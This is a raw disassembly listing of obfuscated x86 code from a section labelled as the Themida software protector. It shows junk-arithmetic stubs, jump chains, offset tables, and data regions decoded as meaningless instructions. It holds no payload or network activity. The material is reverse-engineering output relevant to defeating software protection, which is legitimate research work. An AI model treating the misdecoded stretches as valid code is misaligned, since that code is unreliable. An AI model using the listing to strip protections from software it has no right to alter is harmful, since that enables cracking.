; sub_59196D-C1Ej
push ebx
push esp
pop ebx
add ebx, 4
add ebx, 4
xchg ebx, [esp+18h+var_1A+2]
mov esp, [esp+18h+var_1A+2]
push ebp
mov ebp, 2
add ebx, ebp
pop ebp
xchg ebx, [esp+18h+var_1A+2]
mov esp, [esp+18h+var_1A+2]
sub esp, 4
mov [esp+1Ch+var_1E+2], ebx
push 412Fh
mov [esp+20h+var_22+2], ecx
push esp
pop ecx
push eax
mov eax, 4
add ecx, eax
jmp loc_58D695
; ---------------------------------------------------------------------------
loc_59820C: ; CODE XREF: sub_59196D+5F2Ej
push edx
mov edx, 4A754722h
jmp loc_5939BB
; ---------------------------------------------------------------------------
loc_598217: ; CODE XREF: sub_59196D+185Ej
mov ebx, 59290278h
sub ebx, 0D92891EDh
add eax, ebx
pop ebx
add ecx, eax
jmp loc_597C11
; ---------------------------------------------------------------------------
loc_59822C: ; CODE XREF: sub_59196D-5E3j
mov edx, 56637468h
shr edx, 6
dec edx
jmp loc_58B7E6
; ---------------------------------------------------------------------------
loc_59823A: ; CODE XREF: sub_59196D+4DF7j
pop edi
xchg esi, [esp+0]
mov esp, [esp+0]
std
push 0E0Eh
mov [esp+54h+var_54], esi
push 7D140152h
jmp loc_597B2A
; ---------------------------------------------------------------------------
loc_598254: ; CODE XREF: sub_59196D+1367j
add edi, 171F7C72h
jmp loc_596C72
; ---------------------------------------------------------------------------
loc_59825F: ; DATA XREF: Themida_:0058B0A4o
push [esp+2+var_4+2]
mov eax, [esp+6+var_8+2]
add esp, 4
jmp loc_58BBF6
; ---------------------------------------------------------------------------
loc_59826D: ; CODE XREF: sub_59196D+4849j
push esi
mov esi, 4
add edx, 1C411A76h
add edx, esi
sub edx, 1C411A76h
pop esi
xchg edx, [esp+14h+var_16+2]
pop esp
jmp loc_5921A6
; ---------------------------------------------------------------------------
loc_59828B: ; CODE XREF: sub_59196D-5999j
push eax
mov eax, 21646E9Ch
or eax, 3F145E8Fh
sub eax, 0AA31AF3h
shr eax, 6
jmp sub_59069A
; ---------------------------------------------------------------------------
loc_5982A3: ; CODE XREF: sub_59196D-3777j
pop ebx
xchg edx, [esp+30h+var_32+2]
pop esp
and eax, ebp
mov ebp, [esp+2Ch+var_2E+2]
add esp, 4
or edx, eax
shl edx, 1
push esi
push esp
pop esi
add esi, 4
sub esi, 4
xchg esi, [esp+2Ch+var_2E+2]
pop esp
jmp loc_595292
; ---------------------------------------------------------------------------
loc_5982CF: ; CODE XREF: sub_59196D+53A9j
mov esp, [esp+24h+var_26+2]
jmp loc_59251B
; ---------------------------------------------------------------------------
push [esp+24h+var_26+2]
mov ecx, [esp+28h+var_2A+2]
push 1758h
mov [esp+2Ch+var_2E+2], ebp
jmp loc_5949CC
; ---------------------------------------------------------------------------
loc_5982EA: ; CODE XREF: sub_59196D-46BFj
add edx, 34826E12h
jp loc_58F0B1
not edx
jmp loc_592455
; ---------------------------------------------------------------------------
loc_5982FD: ; CODE XREF: sub_59196D-1D3Aj
xor [esp+14h+var_16+2], 61F4B69h
push [esp+14h+var_16+2]
push [esp+18h+var_1A+2]
pop ecx
add esp, 4
add esp, 4
jmp loc_598358
; ---------------------------------------------------------------------------
loc_59831C: ; CODE XREF: sub_59196D-300Bj
pop ebx
jmp loc_58F1C9
; ---------------------------------------------------------------------------
loc_598322: ; CODE XREF: sub_59196D-44ABj
mov edi, 4FF57753h
sub edi, 0EDC02973h
add eax, edi
pop edi
pop edx
jmp loc_58C5D7
; ---------------------------------------------------------------------------
loc_598336: ; CODE XREF: sub_59196D-831j
mov ecx, esi
mov esi, [esp-0Ch+arg_8]
jmp loc_58DEA4
; ---------------------------------------------------------------------------
push [esp-0Ch+arg_8]
jmp loc_59136C
; ---------------------------------------------------------------------------
loc_598348: ; CODE XREF: sub_59196D-3B1Ej
neg al
push ebx
mov bh, 6Ch
jmp loc_5951DE
; ---------------------------------------------------------------------------
loc_598352: ; CODE XREF: sub_59196D-27Ej
; sub_59196D:loc_5941C2j
pop esp
jmp loc_5969FA
; ---------------------------------------------------------------------------
loc_598358: ; CODE XREF: sub_59196D+69AAj
push 1D21h
mov [esp+14h+var_16+2], eax
push 60422ECDh
jmp loc_59111B
; ---------------------------------------------------------------------------
loc_59836A: ; CODE XREF: sub_59196D-5FEBj
push ecx
mov ecx, 359F579Fh
jmp loc_59592E
; ---------------------------------------------------------------------------
loc_598375: ; CODE XREF: sub_59196D-DDj
neg ecx
shl ecx, 8
add ecx, 30AC2911h
jmp loc_5934CF
; ---------------------------------------------------------------------------
loc_598385: ; CODE XREF: sub_59196D-34DAj
; sub_59196D+9CFj
sub esi, 0FFFFFFFFh
shr esi, 1
shr esi, 5
push edx
mov edx, 75BDB79Ch
add esi, edx
push [esp+1Ch+var_1E+2]
mov edx, [esp+20h+var_22+2]
add esp, 4
add esp, 4
xor eax, esi
mov esi, [esp+18h+var_1A+2]
push edx
jmp loc_58EC39
; ---------------------------------------------------------------------------
loc_5983B2: ; CODE XREF: sub_59196D+6214j
mov cx, bx
pop ebx
add ax, cx
pop cx
jmp loc_58C918
; ---------------------------------------------------------------------------
loc_5983C0: ; CODE XREF: sub_59196D-47B7j
pop ebp
add ebp, 4D6E69F1h
pop ecx
mov edi, [esp+14h+var_16+2]
jmp loc_597971
; ---------------------------------------------------------------------------
loc_5983D0: ; CODE XREF: sub_59196D-138Bj
; sub_59196D-248j
sub edx, esi
add edx, 61863996h
add edx, 52596B1Eh
push ebp
mov ebp, 81607EFh
dec ebp
not ebp
inc ebp
or ebp, 532A234Ch
xor ebp, 0FFB8A15Eh
sub edx, ebp
jmp loc_58D1EA
; ---------------------------------------------------------------------------
loc_5983FB: ; CODE XREF: sub_59196D-54D5j
pop eax
jmp loc_597795
; ---------------------------------------------------------------------------
loc_598401: ; CODE XREF: sub_59196D+48B1j
pop [esp+20h+var_22+2]
push edi
push ebx
push ecx
mov ecx, 1A37026Ah
sub ecx, 1A2DB379h
mov ebx, ecx
pop ecx
jmp loc_5933EF
sub_59196D endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59196D
loc_59841A: ; CODE XREF: sub_59196D+35Ej
pop edi
add edx, 41AE7914h
jmp loc_595F7B
; ---------------------------------------------------------------------------
loc_598426: ; CODE XREF: sub_59196D-3755j
and eax, ebp
jmp loc_597AD1
; ---------------------------------------------------------------------------
loc_59842D: ; CODE XREF: sub_59196D-5D72j
mov [esp+28h+var_2A+2], ebp
push esp
pop ebp
sub esp, 4
jmp loc_596A8A
; END OF FUNCTION CHUNK FOR sub_59196D
; =============== S U B R O U T I N E =======================================
sub_59843D proc near ; CODE XREF: sub_59196D+1B54j
; FUNCTION CHUNK AT 0058BB65 SIZE 0000000A BYTES
sub esp, 4
jmp loc_58BB65
sub_59843D endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59196D
loc_598445: ; CODE XREF: sub_59196D-572j
push 6205h
mov [esp+4Ch+var_4E+2], ecx
mov ecx, 2B04204Fh
dec ecx
jge loc_595970
add ecx, 0D4FBDFB6h
mov eax, ecx
mov ecx, [esp+4Ch+var_4E+2]
loc_598464: ; CODE XREF: sub_59196D+4A4Bj
add ebx, eax
sub ebx, 381702B7h
add ebx, 2D227159h
jmp loc_5903EA
; END OF FUNCTION CHUNK FOR sub_59196D
; =============== S U B R O U T I N E =======================================
sub_598477 proc near ; CODE XREF: sub_59196D-425Ej
push ebp
mov ebp, 91F5464h
add ebp, 321F7695h
push edi
mov edi, 5C4A1AEFh
sub edi, 4AC9B149h
add ebp, edi
pop edi
inc ebp
add ebp, 0B340CB64h
add ecx, ebp
jmp loc_5922BB
sub_598477 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59196D
loc_5984A0: ; CODE XREF: sub_59196D+5D17j
and ebx, 0F8146BBh
jnb loc_59361E
sub ebx, 9C148D21h
mov ah, 28h
push eax
loc_5984B6: ; CODE XREF: sub_59196D+150Cj
pop esp
push ecx
mov ecx, 766A0C77h
sub eax, ecx
pop ecx
push ebx
push eax
mov eax, 6F4D2608h
jmp loc_59097B
; ---------------------------------------------------------------------------
loc_5984CC: ; CODE XREF: sub_59196D+2293j
mov [esp+1Ch+var_1E+2], eax
jmp loc_58D1FB
; ---------------------------------------------------------------------------
loc_5984D4: ; CODE XREF: sub_59196D+1C2j
xor edi, 0CD9E54Ah
jmp loc_58EEBF
; ---------------------------------------------------------------------------
loc_5984DF: ; CODE XREF: sub_59196D-6385j
mov ebp, 10845853h
mov ebx, ebp
pop ebp
and ebx, 4D777DE8h
jl loc_5911F7
sub ebx, 0FFFFFFFFh
shr ebx, 7
jz loc_58BDA9
jmp loc_58E89C
; ---------------------------------------------------------------------------
loc_598507: ; CODE XREF: sub_59196D-79Fj
xor ecx, 6AB25BB1h
sub ecx, 83616976h
shr ecx, 4
push 2650h
mov [esp+3Eh+var_40+2], esi
mov esi, 6DC42915h
sub ecx, 3CFF23D7h
sub ecx, esi
add ecx, 3CFF23D7h
jmp loc_591008
; ---------------------------------------------------------------------------
loc_598536: ; CODE XREF: sub_59196D+5D76j
mov cl, 1Ch
jmp loc_593268
; ---------------------------------------------------------------------------
loc_59853D: ; CODE XREF: sub_59196D-17D0j
xor ebx, 0E226B584h
sub eax, ebx
pop ebx
jmp sub_590717
; ---------------------------------------------------------------------------
loc_59854B: ; CODE XREF: sub_59196D-44DAj
xor edi, 0A7B55F74h
mov ebp, edi
pop edi
jmp loc_596463
; ---------------------------------------------------------------------------
loc_598559: ; CODE XREF: sub_59196D+1A3Fj
mov edx, 28h
add edx, edi
jmp loc_5921B0
; END OF FUNCTION CHUNK FOR sub_59196D
; ---------------------------------------------------------------------------
push dword ptr [edi+2Ch]
jmp loc_58B37B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59196D
loc_59856D: ; CODE XREF: sub_59196D-365Ej
push esi
mov esi, 54D335EFh
jmp loc_58C163
; ---------------------------------------------------------------------------
loc_598578: ; CODE XREF: sub_59196D-1EA9j
xor eax, ebp
jmp loc_58ED82
; ---------------------------------------------------------------------------
loc_59857F: ; CODE XREF: sub_59196D+2B8j
push esi
not [esp+10h+var_12+2]
jmp loc_58BA16
; ---------------------------------------------------------------------------
loc_598588: ; CODE XREF: sub_59196D+33Ej
push [esp+14h+var_16+2]
mov ecx, [esp+18h+var_1A+2]
jmp loc_58E717
; END OF FUNCTION CHUNK FOR sub_59196D
; ---------------------------------------------------------------------------
loc_598593: ; CODE XREF: Themida_:0058E620j
push cx
jmp loc_58E833
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59196D
loc_59859A: ; CODE XREF: sub_59196D+5B36j
push edi
mov edi, 617B2254h
push ebp
mov ebp, 0A0054Ah
jmp loc_5928FF
; ---------------------------------------------------------------------------
loc_5985AB: ; CODE XREF: sub_59196D+53E8j
mov ebp, 18141694h
and ebp, 76F90B2Bh
push edi
mov edi, 4FD4A4Ah
and edi, 6250E60h
jmp loc_595A04
; ---------------------------------------------------------------------------
loc_5985C7: ; CODE XREF: sub_59196D+490j
mov ebx, esp
add ebx, 4
add ebx, 4
xchg ebx, [esp+0Ch+var_C]
jmp loc_593A4C
; ---------------------------------------------------------------------------
loc_5985DD: ; CODE XREF: sub_59196D+3A0j
add ebx, esi
pop esi
sub esp, 4
mov [esp+18h+var_1A+2], ebx
push [esp+18h+var_16+2]
pop ebx
pop [esp+18h+var_1A+2]
pop esp
jmp loc_58FA37
; ---------------------------------------------------------------------------
loc_5985F7: ; CODE XREF: sub_59196D-3ACEj
pop [esp+34h+var_36+2]
jmp loc_58F4A0
; ---------------------------------------------------------------------------
loc_5985FF: ; CODE XREF: sub_59196D-1C7Fj
add edi, 4
add edi, 4
jmp loc_592E01
; ---------------------------------------------------------------------------
loc_59860D: ; CODE XREF: sub_59196D+5BA4j
pop ecx
push 376Eh
mov [esp+36h+var_36], ebx
jmp loc_58DC8A
; ---------------------------------------------------------------------------
loc_59861B: ; CODE XREF: sub_59196D+201Bj
add dl, bl
pop ebx
add al, dl
jmp loc_59105E
; ---------------------------------------------------------------------------
loc_598625: ; CODE XREF: sub_59196D-2F38j
; sub_59196D+38C9j
xor eax, ecx
xor eax, ecx
xor ecx, eax
xor eax, ecx
push ecx
not [esp+18h+var_1A+2]
pop ecx
push eax
sub esp, 4
mov [esp+1Ch+var_1E+2], ecx
push [esp+1Ch+var_1E+2]
pop eax
jmp loc_58B9DE
; ---------------------------------------------------------------------------
loc_598642: ; CODE XREF: sub_59196D-402Dj
and esi, 491E2E55h
add esi, 0BFE1F5F2h
jmp loc_58E4A3
; ---------------------------------------------------------------------------
loc_598653: ; CODE XREF: sub_59196D+2153j
xor [esp+2Ah+var_2A], eax
xor eax, [esp+2Ah+var_2A]
jmp loc_5959BA
; ---------------------------------------------------------------------------
loc_59865E: ; CODE XREF: sub_59196D+3188j
xchg esi, [esp+32h+var_32]
jmp loc_58D0C9
; ---------------------------------------------------------------------------
loc_598666: ; CODE XREF: sub_59196D-5543j
jmp loc_58B37B
; ---------------------------------------------------------------------------
loc_59866B: ; CODE XREF: sub_59196D+20DAj
xor ah, dh
xor dh, ah
xchg cl, ah
not cl
xchg cl, ah
xchg ah, dh
jmp loc_594C4D
; END OF FUNCTION CHUNK FOR sub_59196D
; ---------------------------------------------------------------------------
dd 0FFFF91ECh, 5F34C2h, 12FF4Ch, 7C90EB94h, 2672h, 5F4070h
dd 0F85E3441h, 213h, 2, 1, 2, 0F85E3441h, 5 dup(0)
dd offset loc_59D944
dd offset loc_5A0E6C
dd offset loc_5A0054
dd offset loc_5A3C06
dd offset loc_59D58E
dd offset loc_5A7E52
dd offset loc_59C424
dd offset loc_5A7544
dd offset loc_5AF010
dd offset loc_59F582
dd offset loc_5AE388
dd offset loc_5AF5BC
dd offset loc_5A8652
dd offset loc_5A1B0A
dd offset loc_5A7BF8
dd offset loc_5A29BF
; ---------------------------------------------------------------------------
jmp short loc_598754
; ---------------------------------------------------------------------------
dw 5Ah
dd offset loc_5AC00E
dd offset loc_5A7CFB
dd offset loc_59A133
dd offset byte_5A571F
dd offset loc_5A2595
dd offset loc_599BF1
dd offset loc_599456
dd offset loc_59B2A0
dd offset byte_5AF9DD
dd offset loc_5A14B7
dd offset loc_5A68CE
dd offset loc_59947B
dd offset loc_5A7C8A
dd offset off_5AF3B3
dd offset loc_5A24F3
dd offset loc_59B85F
dd offset loc_5A0820
dd offset loc_5A6A62
dd offset loc_5A8213
dd offset loc_5AC8A6
; ---------------------------------------------------------------------------
loc_598754: ; CODE XREF: Themida_:00598700j
cmp al, 0DCh
pop ecx
add [eax+6C005A2Dh], ch
call near ptr 0AF0187BCh
pop edx
add [edx], cl
and al, 5Ah
add [eax+5B0059BFh], al
rcr byte ptr [edx+0], 90h
mov ch, 5Ah
add [esi], ah
retn
; ---------------------------------------------------------------------------
pop edx
add [eax+ebp*4+5Ah], ah
add [edi], bh
leave
pop edx
add [ebx], bl
cmc
pop ecx
add [ebx-20h], al
pop ecx
add [esi-4Eh], dh
pop edx
add [esp+ecx*2], cl
pop edx
add [ebp-5Dh], dl
pop edx
add [edi-25FFA55Fh], dl
jmp short loc_5987F4
; ---------------------------------------------------------------------------
align 4
dd offset loc_5A2ACC
; ---------------------------------------------------------------------------
retn 5A17h
; ---------------------------------------------------------------------------
align 4
dd offset loc_59EC17
dd offset loc_5A20FB
dd offset loc_5AE202
dd offset loc_5A69FB
dd offset loc_5AB93E
dd offset loc_5A457B
dd offset loc_5AF529
dd offset loc_5ADC7E
dd offset loc_59D3E7
dd offset loc_5AD13E
dd offset loc_5A98C5
dd offset loc_5AF9D0
dd offset loc_5A6F32
dd offset loc_5A0A23
dd offset loc_5A4886
dd offset loc_5A09BF
dd offset loc_5AD448
dd offset loc_5A25BF
dd offset loc_5AF7A5
dd offset loc_59E73C
; ---------------------------------------------------------------------------
loc_5987F4: ; CODE XREF: Themida_:00598799j
dec ebx
cmpsd
pop ecx
add ds:0D10059A4h, bh
test eax, 42930059h
pop edx
add bl, bl
lock pop ecx
add [esi-1Eh], dl
pop edx
add [ebx-3Ah], dh
pop ecx
add bl, ah
xor ebx, [edx+0]
cwde
xor ebx, [edx+0]
insd
neg byte ptr [edx+0]
pop ebp
jmp short loc_598879
; ---------------------------------------------------------------------------
align 10h
dd offset loc_5A3820
dd offset loc_59B9F7
dd offset byte_5AC685
dd offset loc_5A8881
dd offset loc_5A3A08
dd offset loc_5994AE
dd offset loc_5A103A
dd offset loc_5A77BE
dd offset loc_5A52AE
dd offset loc_59B540
dd offset loc_5A91AF
dd offset loc_59CF34
dd offset loc_599102
dd offset loc_5A69DC
dd offset loc_5A16E4
dd offset loc_5ADC50
dd offset loc_59BFF3
dd offset loc_59EB1B
dd offset loc_5AC0B4
dd offset loc_5A23AA
dd offset loc_5A30F9
dd offset loc_5ADD8D
db 2
; ---------------------------------------------------------------------------
loc_598879: ; CODE XREF: Themida_:0059881Dj
test eax, 0CBBD0059h
pop edx
add [eax+ecx+5Ah], bl
add [edx-0AFFA64Dh], bl
db 64h
pop edx
add [esi+2Bh], al
pop edx
add [eax], dh
xchg eax, ecx
pop edx
add [edi-38h], bl
pop ecx
add [edi-3Eh], ah
pop edx
add [ebp+0Dh], ch
pop edx
add [esi-6Ah], dh
pop edx
add [ebx+64005A21h], dh
pop ss
pop edx
add [edi-6Bh], dl
pop edx
add [ebx-76h], ah
pop edx
add [edx], al
setalc
pop edx
add cl, dh
stosd
pop edx
add [edi+ebp*8-13B2FFA6h], dl
pop ecx
add dh, al
mov ds:0E0450059h, eax
pop edx
add ds:74005A4Fh, bl
insb
pop edx
add [edi], dl
jnz short loc_598931
add [eax+7E005A67h], bl
fstp dword ptr [ecx+0]
mov es, word ptr [edx+1213005Ah]
pop edx
add [ecx], ah
; ---------------------------------------------------------------------------
db 8Fh, 5Ah, 0
dd offset loc_59EE04
dd offset loc_5A2679
dd offset loc_5A73EC
; ---------------------------------------------------------------------------
shr dword ptr [ebx], 1
pop edx
add dl, cl
rcr dword ptr [ecx+0], cl
db 36h
mov esp, 57560059h
pop edx
add [edx], ch
mov byte ptr [ecx+0], 4
mov dword ptr [ecx+0], offset loc_5A6105
movsb
movsd
pop ecx
add [edx+edi], ch
pop edx
add [edx-25FFA504h], ah
das
pop edx
add ds:99005AB9h, ch
sti
pop edx
add [ebp-5Ch], ch
pop edx
add [ebx], bl
loc_598931: ; CODE XREF: Themida_:005988D5j
int 5Ah ; Cluster adapter BIOS entry address
add ds:64005A66h, al
mov bl, 59h
add bh, dh
out 5Ah, eax
add al, ah
mov al, 59h
add [edx-26h], cl
pop edx
add [ecx+460059AFh], ch
imul ebx, [edx+0], 5A21EDh
push 0FFFFFFC0h
pop edx
add ah, dh
dec edi
pop edx
; ---------------------------------------------------------------------------
db 0
; ---------------------------------------------------------------------------
loc_59895C: ; CODE XREF: Themida_:005DAF1Aj
; Themida_:005DAF24j ...
pusha
pushf
cld
call $+5
pop edi
sub edi, 7FB5523h
mov eax, edi
add edi, 7FB523Bh
cmp eax, [edi+2Ch]
jnz short loc_59897A
jmp short loc_59898D
; ---------------------------------------------------------------------------
loc_59897A: ; CODE XREF: Themida_:00598976j
mov [edi+2Ch], eax
mov ecx, 0A7h
jmp short loc_598989
; ---------------------------------------------------------------------------
loc_598984: ; CODE XREF: Themida_:0059898Bj
add [edi+ecx*4+40h], eax
dec ecx
loc_598989: ; CODE XREF: Themida_:00598982j
or ecx, ecx
jnz short loc_598984
loc_59898D: ; CODE XREF: Themida_:00598978j
mov esi, [esp+24h]
mov ebx, esi
add esi, eax
mov ecx, 1
loc_59899A: ; CODE XREF: Themida_:005989A1j
xor eax, eax
lock cmpxchg [edi+30h], ecx
jnz short loc_59899A
loc_5989A3: ; CODE XREF: Themida_:00598A24j
; Themida_:00598D57j ...
lodsb
push 4F87h
mov [esp], edx
jmp loc_5A41D5
; ---------------------------------------------------------------------------
loc_5989B1: ; CODE XREF: Themida_:005ABB86j
pop ebp
add ebp, 4
jmp loc_5AEAC1
; ---------------------------------------------------------------------------
loc_5989BD: ; CODE XREF: Themida_:0059BB15j
pop edi
add esi, 50BC705Dh
sub esi, ecx
jmp loc_59DFDF
; ---------------------------------------------------------------------------
loc_5989CB: ; CODE XREF: Themida_:005999A9j
; Themida_:0059DD2Bj
sub ebp, 36B5EE9h
sub ebp, 36D6444Eh
inc ebp
dec ebp
sub ebp, 1FFAA478h
add ebx, ebp
jmp loc_59DE4D
; ---------------------------------------------------------------------------
loc_5989E6: ; CODE XREF: Themida_:005AC283j
pop ebp
add eax, ebp
sub eax, 38E64255h
pop ebp
push dword ptr [esp]
push dword ptr [esp]
mov ecx, [esp]
jmp loc_5A8B31
; ---------------------------------------------------------------------------
loc_5989FD: ; CODE XREF: Themida_:005A1094j
sub edx, esi
add edx, 358C6F91h
pop esi
mov ecx, [esp]
add esp, 4
xchg edx, [esp]
pop esp
mov ax, [esp]
push ebx
mov ebx, esp
jmp loc_59E5F4
; ---------------------------------------------------------------------------
loc_598A1F: ; CODE XREF: Themida_:005A3014j
shr word ptr [esp], cl
pushf
jmp loc_5989A3
; ---------------------------------------------------------------------------
loc_598A29: ; CODE XREF: Themida_:005A98A4j
sub eax, 4
xchg eax, [esp]
pop esp
mov [esp], eax
mov eax, 37E95517h
jmp loc_5A75EE
; ---------------------------------------------------------------------------
loc_598A3D: ; CODE XREF: Themida_:loc_59A5B6j
xor esi, 484579B0h
push edx
jmp loc_5A4D88
; ---------------------------------------------------------------------------
loc_598A49: ; CODE XREF: Themida_:0059DE92j
add edi, edx
pop edx
push 2880h
mov [esp], edx
mov edx, 271E0F5Fh
and edx, 6A0815F9h
push eax
mov eax, 3A7F3325h
push esi
push eax
jmp loc_5AA138
; ---------------------------------------------------------------------------
loc_598A6C: ; CODE XREF: Themida_:loc_5AFCF1j
push ebx
mov ebx, 0BA8E706Fh
xor esi, ebx
pop ebx
mov ebp, esi
pop esi
add edx, ebp
pop ebp
sub esp, 4
mov [esp], ebx
mov ebx, 0D56DFFFFh
xor edx, ebx
push dword ptr [esp]
pop ebx
add esp, 4
and eax, edx
mov edx, [esp]
push ebx
jmp loc_5A6052
; ---------------------------------------------------------------------------
loc_598A9D: ; CODE XREF: Themida_:005A9353j
add dl, 62h
push ecx
jmp loc_5A5B52
; ---------------------------------------------------------------------------
loc_598AA6: ; CODE XREF: Themida_:loc_59B02Dj
and edi, 35C641F7h
js loc_59CF8B
xor edi, 3ED48CA4h
push edi
pop esi
mov edi, [esp]
push edi
mov edi, esp
add edi, 4
add edi, 4
xchg edi, [esp]
pop esp
add eax, 7DFA0BB8h
sub eax, 4BF30CB1h
sub eax, esi
jmp loc_5A3B52
; ---------------------------------------------------------------------------
loc_598AE1: ; CODE XREF: Themida_:0059CBCBj
add esp, 4
push ebx
mov ebx, 24ED64ECh
add ebx, 0FFFFFFFFh
shl ebx, 8
not ebx
dec ebx
not ebx
xor ebx, 998BC55Eh
sub esi, ebx
pop ebx
push 57FFh
mov [esp], esi
add dword ptr [esp], 46C44866h
mov eax, [esp]
add esp, 4
sub eax, 46C44866h
push dword ptr [esp]
jmp loc_5AEECD
; ---------------------------------------------------------------------------
loc_598B23: ; CODE XREF: Themida_:005A7623j
add dword ptr [esp], 4
jmp loc_5AE9C1
; ---------------------------------------------------------------------------
loc_598B2C: ; CODE XREF: Themida_:005A2E8Fj
pop eax
sub ecx, 4
xchg ecx, [esp]
pop esp
mov [esp], ebx
jmp loc_5A2CF4
; ---------------------------------------------------------------------------
loc_598B3C: ; CODE XREF: Themida_:005A4E14j
and cx, bp
pop bp
xor cx, 4ECEh
jmp loc_59A223
; ---------------------------------------------------------------------------
loc_598B4B: ; CODE XREF: Themida_:0059F020j
xchg ecx, [esp]
pop esp
sub bl, 27h
jmp loc_5AAB57
; ---------------------------------------------------------------------------
loc_598B57: ; CODE XREF: Themida_:005AA9DDj
push 7D5Ah
jmp loc_5A3767
; ---------------------------------------------------------------------------
loc_598B61: ; CODE XREF: Themida_:005A916Dj
pop ebx
push ebp
xchg edi, [esp]
not edi
xchg edi, [esp]
mov ebp, [esp]
add esp, 4
add ebp, 1E4B05C6h
jmp loc_5A97BD
; ---------------------------------------------------------------------------
loc_598B7F: ; CODE XREF: Themida_:0059A3E2j
mov ebp, 11DC795Fh
dec ebp
add ebp, 0CEE30DDh
jmp loc_5A58E7
; ---------------------------------------------------------------------------
loc_598B90: ; CODE XREF: Themida_:005A9C3Cj
xor eax, 0DDC1F8BEh
add edx, 469A3F2Ch
sub edx, eax
sub edx, 469A3F2Ch
jmp loc_598CF2
; ---------------------------------------------------------------------------
loc_598BA8: ; CODE XREF: Themida_:005A5022j
add ecx, 4
xchg ecx, [esp]
jmp loc_5A18C9
; ---------------------------------------------------------------------------
loc_598BB3: ; CODE XREF: Themida_:005A694Dj
add edi, 4
jmp loc_59CAA0
; ---------------------------------------------------------------------------
loc_598BBE: ; CODE XREF: Themida_:005AC93Aj
sub ecx, 4
jmp loc_59CC20
; ---------------------------------------------------------------------------
loc_598BC6: ; CODE XREF: Themida_:005A8401j
push edi
pop edx
mov edi, [esp]
add esp, 4
loc_598BCE: ; CODE XREF: Themida_:005A3D26j
; Themida_:005A608Dj
sub esp, 4
mov [esp], ebp
jmp loc_5A0185
; ---------------------------------------------------------------------------
loc_598BD9: ; CODE XREF: Themida_:005A6A93j
push ecx
mov ecx, 29DC5918h
xor ecx, 49473D62h
sub esi, ecx
pop ecx
jmp loc_5A74AB
; ---------------------------------------------------------------------------
loc_598BED: ; CODE XREF: Themida_:005A49EEj
add eax, 0AF474029h
jmp loc_5A908C
; ---------------------------------------------------------------------------
loc_598BF7: ; CODE XREF: Themida_:005AF3E5j
sub ebx, edi
add ebx, 4A296107h
pop edi
jmp loc_59AEE3
; ---------------------------------------------------------------------------
loc_598C05: ; CODE XREF: Themida_:005A7F94j
push bx
mov bh, 0C1h
add al, bh
pop bx
pop dx
push small 4F0Dh
jmp loc_5A12C3
; ---------------------------------------------------------------------------
loc_598C18: ; CODE XREF: Themida_:005A832Dj
pop ebp
pop dword ptr [esp]
pop esp
sub eax, ebx
sub esp, 4
mov [esp], ebx
mov ebx, 2FC919C8h
add eax, ebx
pop ebx
sub esp, 4
jmp loc_5A7CE8
; ---------------------------------------------------------------------------
loc_598C38: ; CODE XREF: Themida_:005A4E8Bj
sub esp, 4
mov [esp], edx
mov dh, 0C9h
sub dh, 0C5h
add ch, dh
mov edx, [esp]
add esp, 4
xor al, ch
jmp loc_5ADF00
; ---------------------------------------------------------------------------
loc_598C55: ; CODE XREF: Themida_:005A7F8Dj
mov [esp], edi
push esi
push ebp
jmp loc_5AF59D
; ---------------------------------------------------------------------------
loc_598C5F: ; CODE XREF: Themida_:005A3105j
jmp loc_5A91ED
; ---------------------------------------------------------------------------
loc_598C64: ; CODE XREF: Themida_:005A5EECj
or ch, al
pop eax
inc ch
jmp loc_5AB4BF
; ---------------------------------------------------------------------------
loc_598C6E: ; CODE XREF: Themida_:005AE567j
inc ebp
neg ebp
xor ebp, 2D0917B7h
mov edx, ebp
pop ebp
add edx, esi
pop esi
shl edx, 8
shl edx, 6
push ebp
push esi
push 145718F9h
pop esi
shl esi, 4
jp loc_5AFCF1
jmp loc_5A3684
; ---------------------------------------------------------------------------
sub dh, 0BAh
sub al, 4Eh
pop ecx
loc_598C9F: ; CODE XREF: Themida_:005A7E4Dj
sub edx, edi
pop edi
add edx, eax
jmp loc_59F56E
; ---------------------------------------------------------------------------
loc_598CA9: ; CODE XREF: Themida_:005A4453j
; Themida_:005A997Fj
add esi, 1
jmp loc_5A12DA
; ---------------------------------------------------------------------------
loc_598CB4: ; CODE XREF: Themida_:005AB8D4j
pop dword ptr [esp]
jmp loc_5A2D20
; ---------------------------------------------------------------------------
loc_598CBC: ; CODE XREF: Themida_:0059BC60j
pop ebx
sub ebx, 3C06FFCCh
and ecx, ebx
pop ebx
push edi
mov edi, 0E6C2764h
jmp loc_5A5BEF
; ---------------------------------------------------------------------------
loc_598CD1: ; CODE XREF: Themida_:005A31E6j
push ebx
mov ebx, 2F7B1708h
shr ebx, 5
jmp loc_59E97B
; ---------------------------------------------------------------------------
loc_598CDF: ; CODE XREF: Themida_:005A9EBCj
mov ebp, [esp]
add esp, 4
shr ebp, 2
push 1622h
jmp loc_5A5405
; ---------------------------------------------------------------------------
loc_598CF2: ; CODE XREF: Themida_:00598BA3j
pop eax
xor eax, edx
pop edx
sub esp, 4
mov [esp], edx
jmp loc_59B577
; ---------------------------------------------------------------------------
loc_598D01: ; CODE XREF: Themida_:005A2B2Aj
; Themida_:005AE195j
pop edi
xor edi, 799216CEh
sub ebx, 3E87882h
sub ebx, 1C691E58h
jmp loc_5A860A
; ---------------------------------------------------------------------------
loc_598D19: ; CODE XREF: Themida_:0059B8B6j
jmp loc_5A932C
; ---------------------------------------------------------------------------
loc_598D1E: ; CODE XREF: Themida_:0059D824j
or ebx, 3573037Ah
not ebx
push edx
mov edx, 58F5177h
add ebx, edx
pop edx
sub edx, ebx
pop ebx
sub edx, esi
add edx, 4D975D7Ch
mov esi, [esp]
add esp, 4
jmp loc_5A7FC2
; ---------------------------------------------------------------------------
loc_598D48: ; CODE XREF: Themida_:0059C625j
push small 67C4h
mov [esp], cx
movzx cx, al
push cx
pushf
jmp loc_5989A3
; ---------------------------------------------------------------------------
loc_598D5C: ; CODE XREF: Themida_:005A3A0Cj
mov esi, esp
push edi
mov edi, 404455D6h
jmp loc_5AD2AF
; ---------------------------------------------------------------------------
loc_598D69: ; CODE XREF: Themida_:005AF35Bj
xor edx, eax
pop eax
add edx, 8E189AC0h
add esi, edx
pop edx
push esi
push dword ptr [esp+4]
